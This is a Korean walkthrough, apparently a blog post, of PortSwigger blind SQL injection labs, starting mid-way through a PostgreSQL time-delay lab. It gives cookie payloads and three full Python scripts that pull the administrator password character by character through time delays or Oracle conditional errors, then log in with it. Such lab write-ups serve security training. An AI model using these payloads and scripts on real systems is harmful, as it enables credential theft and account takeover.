* 페이로드 분석 || 연산자는 PostgreSQL에서 문자열을 합쳐주는 연산자이며 pg_sleep() 함수는 PostgreSQL에서 사용 가능한 함수입니다. time delay를 유발하는 함수는 DB마다 다를 수 있기 때문에 각 DB의 time delay를 유발하는 함수를 삽입해 보면서 알아내야 합니다. ex) select 'te' || 'st' -> test
w10IqJ5f6KMt31wJ'|| pg_sleep(10) ||' 에서 문자열을 합치기 전에 pg_sleep() 함수가 실행되는데 이때 값을 10으로 줬기 때문에 10초의 time delay가 발생하고 반환 값은 없는 상태입니다. 마지막에 있는 싱글 쿼터의 경우 sql query 문이 완성될 때 기존에 있던 싱글 쿼터와 합쳐지고 빈 문자열을 합치려고 하기 때문에 실제로 남는건 원래 TrackingId 인 'w10IqJ5f6KMt31wJ'으로 정상적인 값이 되어 sql query 문에서 에러가 발생하지 않게 됩니다.
time delay가 발생하는 것을 확인했기 때문에 time delay를 이용한 Time-based SQL Injection format을 만들어서 사용합니다. Visual Studio Code를 이용하여 Python 스크립트를 작성했습니다. time delay를 이용하는 것이므로 코드를 실행해도 상당히 오래 걸릴 수 있습니다.
import requests
import time
# url은 LAB에 접속했을 때 본인의 url 주소를 입력합니다.
# session, TrackingId는 각각 본인의 파라미터 값을 사용합니다.
# 입력 시 중괄호 제거 후 입력해야 합니다.
url = "{url}"
session = "{session}"
TrackingId = "{TrackingId}"
# pg_sleep(10)을 사용했으므로 time delay가
# 10초동안 발생했는지 비교하기 위해 threshold 값을 10으로 해줍니다.
threshold = 10
# time delay 발생 여부 확인 함수
def check_time_delay(query):
cookies = {
"session" : f"{session}",
"TrackingId" : f"{TrackingId}'|| (select case when ({query}) then pg_sleep(10) else pg_sleep(0) end) ||'"
}
start = time.time()
requests.get(url, cookies=cookies)
delay = time.time() - start
return delay >= threshold
# admin 계정 비밀번호 길이 + 값 알아내는 함수
def find_admin_pw():
low = 1
high = 256
pw = ''
while low < high:
mid = (low + high) // 2
query = (
f"(select length(password) from users where username='administrator') > {mid}"
)
if check_time_delay(query):
low = mid + 1
else:
high = mid
pw_len = low
print(f"password 길이: {pw_len}")
# 알아낸 password 길이만큼 반복문을 돌리면서
# 비밀번호의 각 글자를 추출합니다.
for i in range(1, pw_len+1):
low = 32
high = 127
while low < high:
mid = (low + high) // 2
query = (
f"ascii(substr((select password from users where username='administrator'), {i}, 1)) > {mid}"
)
if check_time_delay(query):
low = mid + 1
else:
high = mid
pw += chr(low)
return pw
print(f"administrator password: {find_admin_pw()}")
Python 스크립트를 실행하면 다음과 같이 administrator 계정의 비밀번호를 알아낼 수 있습니다.
My account 탭에 접속하여 알아낸 비밀번호를 입력한 뒤 Log in 버튼을 클릭합니다.
Log in 버튼을 클릭하면 administrator 계정으로 로그인이 되면서 해당 LAB 문제를 성공적으로 풀게 됩니다.
목표:SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.
사용도구:Burp Suite
문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문으로 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다는 것도 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.
LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.
문제에서 설명했듯이 TrackingId 쿠키는 SQL query 문을 수행하는데 사용되고 있고 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다고 했기 때문에 TrackingId 쿠키에 싱글 쿼터를 삽입해 보면 에러 메시지를 반환하고 있는 것을 볼 수 있습니다.
주석을 사용할 수 있는지 확인합니다. 실제 sql query 문 마지막에 남는 싱글 쿼터가 주석에 의해 처리되었기 때문에 웹 페이지가 정상적으로 보이고 있는 것을 알 수 있고 이를 통해 주석이 사용 가능하다는 것을 알 수 있습니다.
sql query 문 조건식이 참이 되도록 하는 sql query 문을 구성하여 요청을 보내고 응답을 확인해 보면 정상적으로 웹 페이지가 반환되고 있는 것을 확인합니다.
sql query 문 조건식이 거짓이 되도록 하는 sql query 문을 구성해서 요청을 보내봐도 응답 결과는 똑같다는 것을 알 수 있고 단순히 조건식이 참, 거짓에 의한 응답 결과의 차이를 보고 data 추출을 할 수 없다는 것을 알 수 있습니다.
참, 거짓 응답 결과가 다름에 따른 data 추출은 할 수 없지만 해당 LAB 문제에서는 에러 발생 시 에러 메시지를 반환하기 때문에 에러를 유발하는 sql query 문을 구성하면 참, 거짓을 이용한 응답 결과가 다름에 따른 data 추출을 할 수 있게 됩니다.
[페이로드(입력 값)]
- case when 구문 조건참일 때 페이로드:TrackingId=uUveEoJDaHYuGguk' and 1 = (case when (1=1) then to_number(1/0) else 1 end)--;
-case when 구문 조건 거짓일 때 페이로드:TrackingId=uUveEoJDaHYuGguk' and 1 = (case when (1=2) then to_number(1/0) else 1 end)--;
[설명] 해당 LAB 문제에서 sql query 문을 구성할 때 에러를 유발하도록 하면 응답을 받았을 때 에러 메시지가 반환되는 것을 알 수 있습니다. 따라서 case when 구문의 조건을 이용한 참, 거짓에 따른 응답 결과를 통해 data 추출을 할 수 있게 됩니다.
* 페이로드 분석 to_number() 함수는 Oracle DB에서 문자열을 숫자로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_number(1/0)으로 작성하면 에러가 발생하게 됩니다. 1 = case when (조건) then to_number(1/0) else 1 end에서 조건이 참이면 to_number(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면 1을 반환합니다. 1을 반환하면 1 = 1-- 이 되기 때문에 에러가 발생하지 않아 정상적인 웹 페이지를 반환하게 됩니다.
정리해 보면 case when 구문 조건이 참일 때(1=1) 응답 결과를 보면 에러 메시지를 반환하고 거짓일 때(1=2) 응답 결과를 보면 정상적인 웹 페이지를 반환하고 있는 것을 알 수 있었습니다. 조건이 참, 거짓이느냐에 따라 에러 발생 유무가 정해지며 그에 따른 결과가 다르기 때문에 다름을 이용하여 Blind SQL Injection처럼 data를 추출할 수 있게 됩니다.
[case when 구문 조건 참일 때]
[case when 구문 조건 거짓일 때]
에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다. (직접 입력하는 것도 가능하지만 상당히 오래 걸리기 때문에 Python 코드를 제작하는 것이 좋습니다.)
[administrator passowrd 추출 - python script]
# 주석 사용 버전
import string
import requests
url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"
# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"
# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.
# administrator password 길이 찾는 함수
def find_admin_pw_len():
# 이진 탐색법 적용
low = 1
high = 256
while low < high:
mid = (low + high) // 2
query = (
f"(select length(password) from users where username='administrator') > {mid} "
)
cookies = {
"session" : f"{session}",
"TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
}
response = requests.get(url, cookies=cookies)
# print(response.text)
# print(mid)
if "Internal Server Error" in response.text:
low = mid + 1
else:
high = mid
return (low)
# administrator password 추출
def find_admin_pw():
admin_pw = ''
# administrator password 길이를 저장
admin_pw_len = find_admin_pw_len()
# administrator password 길이만큼 반복하면서
# data추출
for i in range(1, admin_pw_len+1):
# 이진 탐색법 적용
low = 32
high = 127
while low < high:
mid = (low + high) // 2
query = (
f"(case when (ascii(substr((select password from users where username='administrator'), {i}, 1)) > {mid}) then to_number(1/0) else 1 end)--"
)
cookies = {
"session" : f"{session}",
"TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
}
response = requests.get(url, cookies=cookies)
# print(response.text)
# print(mid)
if "Internal Server Error" in response.text:
low = mid + 1
else:
high = mid
admin_pw += chr(low)
return admin_pw
print(f"administrator의 password: {find_admin_pw()}")
코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.
웹 페이지로 돌아가서 My account를 클릭합니다.
알아낸 administrator의 ID, Password를 입력합니다.
administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.
+) 주석을 사용하지 않고 data를 추출하는 페이로드입니다.
주석을 사용하지 않고 case when 구문을 이용해서 에러를 유발하는 sql query 문 입니다.
[페이로드(입력 값)]
-case when 구문 조건참일 때 페이로드:TrackingId=uUveEoJDaHYuGguk '|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||' ;
- case when 구문 조건 거짓일 때 페이로드:TrackingId=uUveEoJDaHYuGguk'|| (select case when (1=2) then to_char(1/0) else '' end from dual) ||';
[설명] 주석을 사용한 페이로드와 동일하게 case when 구문의 조건을 이용한 참, 거짓에 따른 data 추출을 할 수 있게 됩니다.
* 페이로드 분석 to_char() 함수는 Oracle DB에서 숫자나, 날짜 등을 문자열로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_char(1/0)으로 작성하면 에러가 발생하게 됩니다. 주의할 점은 해당 페이로드를 이용할 때는 to_number() 함수가 아닌 to_char() 함수를 사용해야 합니다. 이거 때문에 한참동안 해결을 못했었습니다.
|| 연산자는 Oracle에서 문자열을 합쳐주는 연산자입니다.
uUveEoJDaHYuGguk'|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||'에서 조건이 참이면 to_char(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면 '' (빈 문자열)을 반환합니다. 빈 문자열을 반환하면 uUveEoJDaHYuGguk'|| '' ||' 이기 때문에 원래 정상적인 쿠키 값이었던 uUveEoJDaHYuGguk만 남게 되어 정상적인 sql query 문이 됩니다. 따라서 에러 유무에 따라 응답 결과가 다르기 때문에 data를 추출할 수 있습니다.
[case when 구문 조건참일 때 - 주석 X]
[case when 구문 조건거짓일 때 - 주석 X]
에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다.
[administrator passowrd 추출 - python script]
# 주석 사용하지 않은 코드
import string
import requests
url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"
# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"
# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.
# administrator password 길이 찾는 함수
def find_admin_pw_len():
# 이진 탐색법 적용
low = 1
high = 256
while low < high:
mid = (low + high) // 2
query = (
f"(select length(password) from users where username ='administrator') > {mid}"
)
cookies = {
"session" : f"{session}",
"TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
}
response = requests.get(url, cookies=cookies)
# print(response.text)
# print(mid)
if "Internal Server Error" in response.text:
low = mid + 1
else:
high = mid
return (low)
# administrator password 추출 함수
def find_admin_pw():
admin_pw = ''
# administrator password 길이를 저장
admin_pw_len = find_admin_pw_len()
# administrator password 길이만큼 반복하면서
# data추출
for i in range(1, admin_pw_len+1):
# 이진 탐색법 적용
low = 32
high = 127
while low < high:
mid = (low + high) // 2
query = (
f"ascii(substr((select password from users where username ='administrator'), {i}, 1)) > {mid}"
)
cookies = {
"session" : f"{session}",
"TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
}
response = requests.get(url, cookies=cookies)
# print(response.text)
# print(mid)
if "Internal Server Error" in response.text:
low = mid + 1
else:
high = mid
admin_pw += chr(low)
return admin_pw
print(f"administrator의 password: {find_admin_pw()}")
코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.